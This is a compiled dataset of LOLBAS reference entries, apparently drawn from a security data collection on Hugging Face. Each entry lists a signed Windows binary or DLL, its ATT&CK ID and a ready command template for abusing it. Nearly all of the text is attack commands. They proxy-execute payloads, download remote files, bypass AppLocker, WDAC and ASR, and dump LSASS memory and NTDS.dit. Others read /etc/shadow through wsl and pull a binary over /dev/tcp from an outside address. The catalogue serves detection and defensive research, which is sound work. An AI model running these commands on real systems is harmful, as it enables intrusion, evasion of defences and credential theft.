deardaniel/secdata-raw huggingface dataset:
LOLBAS — Living Off the Land: Shell32.dll
Author: LOLBAS Team

Description:
Windows Shell Common Dll

Technique — Load a DLL payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}

Technique — Run an executable payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe shell32.dll,ShellExec_RunDLL {PATH:.exe}

Technique — Run an executable payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32 SHELL32.DLL,ShellExec_RunDLL {PATH:.exe} {CMD:args}

Technique — Load a DLL/CPL payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe shell32.dll,#44 {PATH:.dll}
LOLBAS — Living Off the Land: Ieframe.dll
Author: LOLBAS Team

Description:
Internet Browser DLL for translating HTML code.

Technique — Load an executable payload by calling a .url file with or without quotes. The .url file extension can be renamed.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}
LOLBAS — Living Off the Land: Scrobj.dll
Author: Eral4m

Description:
Windows Script Component Runtime

Technique — Download file from remote location.:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}
LOLBAS — Living Off the Land: Url.dll
Author: LOLBAS Team

Description:
Internet Shortcut Shell Extension DLL.

Technique — Invoke an HTML Application via mshta.exe (Default Handler).:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}

Technique — Load an executable payload by calling a .url file.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.url}

Technique — Load an executable payload by specifying the file protocol handler (obfuscated).:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e

Technique — Launch an executable.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe url.dll,FileProtocolHandler {PATH_ABSOLUTE:.exe}

Technique — Load an executable payload by specifying the file protocol handler (obfuscated).:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
LOLBAS — Living Off the Land: Shimgvw.dll
Author: Eral4m

Description:
Photo Gallery Viewer

Technique — Download file from remote location.:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}
LOLBAS — Living Off the Land: Syssetup.dll
Author: LOLBAS Team

Description:
Windows NT System Setup

Technique — Run local or remote script(let) code through INF file specification (Note May pop an error window).:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}

Technique — Load an executable payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}
LOLBAS — Living Off the Land: Setupapi.dll
Author: LOLBAS Team

Description:
Windows Setup Application Programming Interface

Technique — Run local or remote script(let) code through INF file specification.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}

Technique — Load an executable payload.:
  ATT&CK: T1218.011
  OS: Windows
  Command: rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}
LOLBAS — Living Off the Land: Ieadvpack.dll
Author: LOLBAS Team

Description:
INF installer for Internet Explorer. Has much of the same functionality as advpack.dll.

Technique — Run local or remote script(let) code through INF file specification.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,

Technique — Run local or remote script(let) code through INF file specification.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},,1,

Technique — Load a DLL payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}

Technique — Run an executable payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.exe}

Technique — Run an executable payload.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32 ieadvpack.dll, RegisterOCX {CMD}
LOLBAS — Living Off the Land: Comsvcs.dll
Author: LOLBAS Team

Description:
COM+ Services

Technique — Dump Lsass.exe process memory to retrieve credentials.:
  ATT&CK: T1003.001
  OS: Windows 10, Windows 11
  Command: rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full
LOLBAS — Living Off the Land: Pcwutl.dll
Author: LOLBAS Team

Description:
Microsoft HTML Viewer

Technique — Launch an executable.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}
LOLBAS — Living Off the Land: Zipfldr.dll
Author: LOLBAS Team

Description:
Compressed Folder library

Technique — Launch an executable.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}

Technique — Launch an executable.:
  ATT&CK: T1218.011
  OS: Windows 10, Windows 11
  Command: rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e
LOLBAS — Living Off the Land: Dfshim.dll
Author: Oddvar Moe

Description:
ClickOnce engine in Windows used by .NET

Technique — Use binary to bypass Application whitelisting:
  ATT&CK: T1127.002
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}
LOLBAS — Living Off the Land: Powershell.exe
Author: Everyone

Description:
Powershell.exe is a a task-based command-line shell built on .NET.

Technique — Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires:
  ATT&CK: T1059.001
  OS: Windows 7 and up
  Command: powershell.exe -ep bypass -file c:\path\to\a\script.ps1

Technique — Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires:
  ATT&CK: T1059.001
  OS: Windows 7 and up
  Command: powershell.exe -ep bypass -command "Invoke-AllTheThings..."

Technique — Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires:
  ATT&CK: T1059.001
  OS: Windows 7 and up
  Command: powershell.exe -ep bypass -ec IgBXAGUAIAA8ADMAIABMAE8ATABCAEEAUwAiAA==
LOLBAS — Living Off the Land: GfxDownloadWrapper.exe
Author: Jesus Galvez

Description:
Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.

Technique — Download file from internet:
  ATT&CK: T1105
  OS: Windows 10
  Command: C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
LOLBAS — Living Off the Land: code.exe
Author: PfiatDe

Description:
VSCode binary, also portable (CLI) version

Technique — Reverse PowerShell session over MS provided infrastructure.:
  ATT&CK: T1219.001
  OS: Windows 10, Windows 11
  Command: code.exe tunnel --accept-server-license-terms --name "tunnel-name"
LOLBAS — Living Off the Land: Bcp.exe
Author: Mahir Ali Khan

Description:
Microsoft SQL Server Bulk Copy Program utility for importing and exporting data between SQL Server instances and data files.

Technique — Extract malicious executable from database storage to local file system for execution.:
  ATT&CK: T1105
  OS: Windows
  Command: bcp "SELECT payload_data FROM database.dbo.payloads WHERE id=1" queryout "C:\Windows\Temp\payload.exe" -S localhost -T -c
LOLBAS — Living Off the Land: Createdump.exe
Author: mr.d0x, Daniel Santos

Description:
Microsoft .NET Runtime Crash Dump Generator (included in .NET Core)

Technique — Dump process memory contents using PID.:
  ATT&CK: T1003
  OS: Windows 10, Windows 11
  Command: createdump.exe -n -f {PATH:.dmp} {PID}
LOLBAS — Living Off the Land: XBootMgr.exe
Author: Avihay Eldad

Description:
Windows Performance Toolkit binary used to start performance traces.

Technique — Executes code as part of post-trace automation flow.:
  ATT&CK: T1202
  OS: Windows
  Command: xbootmgr.exe -trace "{boot|hibernate|standby|shutdown|rebootCycle}" -callBack {PATH:.exe}

Technique — Executes code as part of pre-trace automation or staging.:
  ATT&CK: T1202
  OS: Windows
  Command: xbootmgr.exe -trace "{boot|hibernate|standby|shutdown|rebootCycle}" -preTraceCmd {PATH:.exe}
LOLBAS — Living Off the Land: csi.exe
Author: Oddvar Moe

Description:
Command line interface included with Visual Studio.

Technique — Local execution of unsigned C# code.:
  ATT&CK: T1127
  OS: Windows
  Command: csi.exe {PATH:.cs}
LOLBAS — Living Off the Land: AgentExecutor.exe
Author: Eleftherios Panos

Description:
Intune Management Extension included on Intune Managed Devices

Technique — Execute unsigned powershell scripts:
  ATT&CK: T1218
  OS: Windows 10
  Command: AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "C:\Windows\SysWOW64\WindowsPowerShell\v1.0" 0 1

Technique — Execute a provided EXE:
  ATT&CK: T1218
  OS: Windows 10
  Command: AgentExecutor.exe -powershell "{PATH_ABSOLUTE:.ps1}" "{PATH_ABSOLUTE:.1.log}" "{PATH_ABSOLUTE:.2.log}" "{PATH_ABSOLUTE:.3.log}" 60000 "{PATH_ABSOLUTE:folder}" 0 1
LOLBAS — Living Off the Land: Ntsd.exe
Author: Avihay Eldad

Description:
Symbolic Debugger for Windows.

Technique — Executes an executable under a trusted microsoft signed binary.:
  ATT&CK: T1127
  OS: Windows
  Command: ntsd.exe -g {CMD}
LOLBAS — Living Off the Land: Appvlp.exe
Author: Oddvar Moe

Description:
Application Virtualization Utility Included with Microsoft Office 2016

Technique — Execution of BAT file hosted on Webdav server.:
  ATT&CK: T1218
  OS: Windows 10 w/Office 2016
  Command: AppVLP.exe {PATH_SMB:.bat}

Technique — Local execution of process bypassing Attack Surface Reduction (ASR).:
  ATT&CK: T1218
  OS: Windows 10 w/Office 2016
  Command: AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"
LOLBAS — Living Off the Land: Pixtool.exe
Author: Avihay Eldad

Description:
Command line utility for taking and analyzing PIX GPU captures.

Technique — Executes an executable under a trusted, Microsoft signed binary.:
  ATT&CK: T1127
  OS: Windows
  Command: pixtool.exe launch {PATH_ABSOLUTE:.exe}
LOLBAS — Living Off the Land: WinProj.exe
Author: Avihay Eldad

Description:
Microsoft Project Executable

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows
  Command: WinProj.exe {REMOTEURL}
LOLBAS — Living Off the Land: ECMangen.exe
Author: Avihay Eldad

Description:
Command-line tool for managing certificates in Microsoft Exchange Server.

Technique — It will download a remote payload and place it in INetCache:
  ATT&CK: T1105
  OS: Windows
  Command: ECMangen.exe {REMOTEURL}
LOLBAS — Living Off the Land: Wfc.exe
Author: Jimmy (@bohops)

Description:
The Workflow Command-line Compiler tool is included with the Windows Software Development Kit (SDK).

Technique — Execute proxied payload with Microsoft signed binary to bypass WDAC policies:
  ATT&CK: T1127
  OS: Windows 10 2004 (likely previous and newer versions as well)
  Command: wfc.exe {PATH_ABSOLUTE:.xoml}
LOLBAS — Living Off the Land: Procdump.exe
Author: Alfie Champion (@ajpc500)

Description:
SysInternals Memory Dump Tool

Technique — Performs execution of unsigned DLL.:
  ATT&CK: T1202
  OS: Windows 8.1 and higher, Windows Server 2012 and higher
  Command: procdump.exe -md {PATH:.dll} explorer.exe

Technique — Performs execution of unsigned DLL.:
  ATT&CK: T1202
  OS: Windows 8.1 and higher, Windows Server 2012 and higher
  Command: procdump.exe -md {PATH:.dll} foobar
LOLBAS — Living Off the Land: XBootMgrSleep.exe
Author: Avihay Eldad

Description:
Windows Performance Toolkit binary used for tracing and analyzing system performance during sleep and resume transitions.

Technique — Performs execution of specified executable, can be used as a defense evasion:
  ATT&CK: T1202
  OS: Windows
  Command: xbootmgrsleep.exe 1000 {PATH:.exe}
LOLBAS — Living Off the Land: Dotnet.exe
Author: felamos

Description:
dotnet.exe comes with .NET Framework

Technique — Execute code bypassing AWL:
  ATT&CK: T1218
  OS: Windows 7 and up with .NET installed
  Command: dotnet.exe {PATH:.dll}

Technique — Execute DLL:
  ATT&CK: T1218
  OS: Windows 7 and up with .NET installed
  Command: dotnet.exe {PATH:.dll}

Technique — Execute arbitrary F# code:
  ATT&CK: T1059
  OS: Windows 10 and up with .NET SDK installed
  Command: dotnet.exe fsi

Technique — Execute code bypassing AWL:
  ATT&CK: T1218
  OS: Windows 10 and up with .NET Core installed
  Command: dotnet.exe msbuild {PATH:.csproj}
LOLBAS — Living Off the Land: Squirrel.exe
Author: Reegun J (OCBC Bank) - @reegun21

Description:
Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Technique — Download binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: squirrel.exe --download {REMOTEURL}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: squirrel.exe --update {REMOTEURL}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: squirrel.exe --update {REMOTEURL}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: squirrel.exe --updateRollback={REMOTEURL}

Technique — Download and execute binary:
  ATT&CK: T1218
  OS: Windows 7 and up with Microsoft Teams installed
  Command: squirrel.exe --updateRollback={REMOTEURL}
LOLBAS — Living Off the Land: Bginfo.exe
Author: Oddvar Moe

Description:
Background Information Utility included with SysInternals Suite

Technique — Local execution of VBScript:
  ATT&CK: T1218
  OS: Windows
  Command: bginfo.exe {PATH:.bgi} /popup /nolicprompt

Technique — Local execution of VBScript:
  ATT&CK: T1218
  OS: Windows
  Command: bginfo.exe {PATH:.bgi} /popup /nolicprompt

Technique — Remote execution of VBScript:
  ATT&CK: T1218
  OS: Windows
  Command: \\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt

Technique — Remote execution of VBScript:
  ATT&CK: T1218
  OS: Windows
  Command: \\10.10.10.10\webdav\bginfo.exe {PATH:.bgi} /popup /nolicprompt

Technique — Remote execution of VBScript:
  ATT&CK: T1218
  OS: Windows
  Command: \\live.sysinternals.com\Tools\bginfo.exe {PATH_SMB:.bgi} /popup /nolicprompt
LOLBAS — Living Off the Land: rcsi.exe
Author: Oddvar Moe

Description:
Non-Interactive command line inerface included with Visual Studio.

Technique — Local execution of arbitrary C# code stored in local CSX file.:
  ATT&CK: T1127
  OS: Windows
  Command: rcsi.exe {PATH:.csx}

Technique — Local execution of arbitrary C# code stored in local CSX file.:
  ATT&CK: T1127
  OS: Windows
  Command: rcsi.exe {PATH:.csx}
LOLBAS — Living Off the Land: vsls-agent.exe
Author: Jimmy (@bohops)

Description:
Agent for Visual Studio Live Share (Code Collaboration)

Technique — Execute proxied payload with Microsoft signed binary:
  ATT&CK: T1218
  OS: Windows 10 21H2 (likely previous and newer versions with modern versions of Visual Studio installed)
  Command: vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}
LOLBAS — Living Off the Land: OpenConsole.exe
Author: Nasreddine Bencherchali

Description:
Console Window host for Windows Terminal

Technique — Use OpenConsole.exe as a proxy binary to evade defensive counter-measures:
  ATT&CK: T1202
  OS: Windows 10, Windows 11
  Command: OpenConsole.exe {PATH:.exe}
LOLBAS — Living Off the Land: MsoHtmEd.exe
Author: Nir Chako

Description:
Microsoft Office component

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: MsoHtmEd.exe {REMOTEURL}
LOLBAS — Living Off the Land: Mspub.exe
Author: Nir Chako

Description:
Microsoft Publisher

Technique — It will download a remote payload and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: mspub.exe {REMOTEURL}
LOLBAS — Living Off the Land: VSDiagnostics.exe
Author: Bobby Cooke

Description:
Command-line tool used for performing diagnostics.

Technique — Proxy execution of binary:
  ATT&CK: T1127
  OS: Windows 10, Windows 11
  Command: VSDiagnostics.exe start 1 /launch:{PATH:.exe}

Technique — Proxy execution of binary with arguments:
  ATT&CK: T1127
  OS: Windows 10, Windows 11
  Command: VSDiagnostics.exe start 2 /launch:{PATH:.exe} /launchArgs:"{CMD:args}"
LOLBAS — Living Off the Land: Mscopilot_proxy.exe
Author: 4n4s4zi

Description:
Microsoft Copilot proxy launcher

Technique — Executes a process under a trusted Microsoft signed binary:
  ATT&CK: T1218.015
  OS: Windows 11
  Command: mscopilot_proxy.exe --no-startup-window --disable-gpu-sandbox --gpu-launcher="cmd.exe /c calc.exe && taskkill /f /im mscopilot.exe &&"
LOLBAS — Living Off the Land: DumpMinitool.exe
Author: mr.d0x

Description:
Dump tool part Visual Studio 2022

Technique — Create memory dump and parse it offline:
  ATT&CK: T1003.001
  OS: Windows 10, Windows 11
  Command: DumpMinitool.exe --file {PATH_ABSOLUTE} --processId 1132 --dumpType Full
LOLBAS — Living Off the Land: Wsl.exe
Author: Matthew Brown

Description:
Windows subsystem for Linux executable

Technique — Performs execution of specified file, can be used to execute arbitrary Linux commands.:
  ATT&CK: T1202
  OS: Windows 10, Windows Server 2019, Windows 11
  Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe

Technique — Performs execution of arbitrary Linux commands as root without need for password.:
  ATT&CK: T1202
  OS: Windows 10, Windows Server 2019, Windows 11
  Command: wsl.exe -u root -e cat /etc/shadow

Technique — Performs execution of arbitrary Linux commands.:
  ATT&CK: T1202
  OS: Windows 10, Windows Server 2019, Windows 11
  Command: wsl.exe --exec bash -c "{CMD}"

Technique — Download file:
  ATT&CK: T1105
  OS: Windows 10, Windows Server 2019, Windows 11
  Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'

Technique — Execute a payload as a child process of `bash.exe` while masquerading as WSL.:
  ATT&CK: T1218
  OS: Windows 10, Windows Server 2019, Windows 11
  Command: wsl.exe
LOLBAS — Living Off the Land: Microsoft.NodejsTools.PressAnyKey.exe
Author: mr.d0x

Description:
Part of the NodeJS Visual Studio tools.

Technique — Spawn a new process via Microsoft.NodejsTools.PressAnyKey.exe.:
  ATT&CK: T1127
  OS: Windows
  Command: Microsoft.NodejsTools.PressAnyKey.exe normal 1 {PATH:.exe}
LOLBAS — Living Off the Land: Logger.exe
Author: Avihay Eldad

Description:
A logging configuration tool from the Windows Kits used to start and manage process logging.

Technique — Executes an abitrary command via a signed binary to evade detection.:
  ATT&CK: T1202
  OS: Windows
  Command: logger.exe RUN "{CMD}"

Technique — Executes an abitrary command via a signed binary to evade detection.:
  ATT&CK: T1202
  OS: Windows
  Command: logger.exe RUNW "{CMD}"

Technique — Executes an abitrary command via a signed binary to evade detection.:
  ATT&CK: T1202
  OS: Windows
  Command: logger.exe "{CMD}"
LOLBAS — Living Off the Land: Sqldumper.exe
Author: Oddvar Moe

Description:
Debugging utility included with Microsoft SQL.

Technique — Dump process using PID.:
  ATT&CK: T1003
  OS: Windows
  Command: sqldumper.exe 464 0 0x0110

Technique — Dump LSASS.exe to Mimikatz compatible dump using PID.:
  ATT&CK: T1003.001
  OS: Windows
  Command: sqldumper.exe 540 0 0x01100:40
LOLBAS — Living Off the Land: dsdbutil.exe
Author: Ekitji

Description:
Dsdbutil is a command-line tool that is built into Windows Server. It is available if you have the AD LDS server role installed. Can be used as a command line utility to export Active Directory.

Technique — Snapshoting of Active Directory NTDS.dit database:
  ATT&CK: T1003.003
  OS: Windows Server 2012, Windows Server 2016, Windows Server 2019
  Command: dsdbutil.exe "activate instance ntds" "snapshot" "create" "quit" "quit"

Technique — Mounting the snapshot to access the ntds.dit with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`:
  ATT&CK: T1003.003
  OS: Windows Server 2012, Windows Server 2016, Windows Server 2019
  Command: dsdbutil.exe "activate instance ntds" "snapshot" "mount {GUID}" "quit" "quit"

Technique — Deletes the snapshot:
  ATT&CK: T1003.003
  OS: Windows Server 2012, Windows Server 2016, Windows Server 2019
  Command: dsdbutil.exe "activate instance ntds" "snapshot" "delete {GUID}" "quit" "quit"

Technique — Mounting the snapshot identifier 1 and accessing it with `copy c:\<Snap Volume>\windows\ntds\ntds.dit c:\users\administrator\desktop\ntds.dit.bak`:
  ATT&CK: T1003.003
  OS: Windows Server 2012, Windows Server 2016, Windows Server 2019
  Command: dsdbutil.exe "activate instance ntds" "snapshot" "create" "list all" "mount 1" "quit" "quit"

Technique — deletes the snapshot:
  ATT&CK: T1003.003
  OS: Windows Server 2012, Windows Server 2016, Windows Server 2019
  Command: dsdbutil.exe "activate instance ntds" "snapshot" "list all" "delete 1" "quit" "quit"
LOLBAS — Living Off the Land: IntelliTrace.exe
Author: Avihay Eldad

Description:
Visual Studio command-line tool for collecting and managing diagnostic trace files.

Technique — Executes an executable under a trusted microsoft signed binary.:
  ATT&CK: T1127
  OS: Windows
  Command: IntelliTrace.exe launch /cp:"collectionplan.xml" /f:"c:\users\public\log" "C:\Windows\System32\calc.exe"
LOLBAS — Living Off the Land: Tracker.exe
Author: Oddvar Moe

Description:
Tool included with Microsoft .Net Framework.

Technique — Injection of locally stored DLL file into target process.:
  ATT&CK: T1127
  OS: Windows
  Command: Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exe

Technique — Injection of locally stored DLL file into target process.:
  ATT&CK: T1127
  OS: Windows
  Command: Tracker.exe /d {PATH:.dll} /c C:\Windows\write.exe
LOLBAS — Living Off the Land: Remote.exe
Author: mr.d0x

Description:
Debugging tool included with Windows Debugging Tools

Technique — Executes a process under a trusted Microsoft signed binary:
  ATT&CK: T1127
  OS: Windows
  Command: Remote.exe /s {PATH:.exe} anythinghere

Technique — Executes a process under a trusted Microsoft signed binary:
  ATT&CK: T1127
  OS: Windows
  Command: Remote.exe /s {PATH:.exe} anythinghere

Technique — Executing a remote binary without saving file to disk:
  ATT&CK: T1127
  OS: Windows
  Command: Remote.exe /s {PATH_SMB:.exe} anythinghere
LOLBAS — Living Off the Land: MSAccess.exe
Author: Nir Chako

Description:
Microsoft Office component

Technique — It will download a remote payload (if it has the filename extension .mdb) and place it in INetCache.:
  ATT&CK: T1105
  OS: Windows
  Command: MSAccess.exe {REMOTEURL}
LOLBAS — Living Off the Land: AccCheckConsole.exe
Author: bohops

Description:
Verifies UI accessibility requirements

Technique — Local execution of managed code from assembly DLL.:
  ATT&CK: T1218
  OS: Windows
  Command: AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}

Technique — Local execution of managed code to bypass AppLocker.:
  ATT&CK: T1218
  OS: Windows
  Command: AccCheckConsole.exe -window "Untitled - Notepad" {PATH_ABSOLUTE:.dll}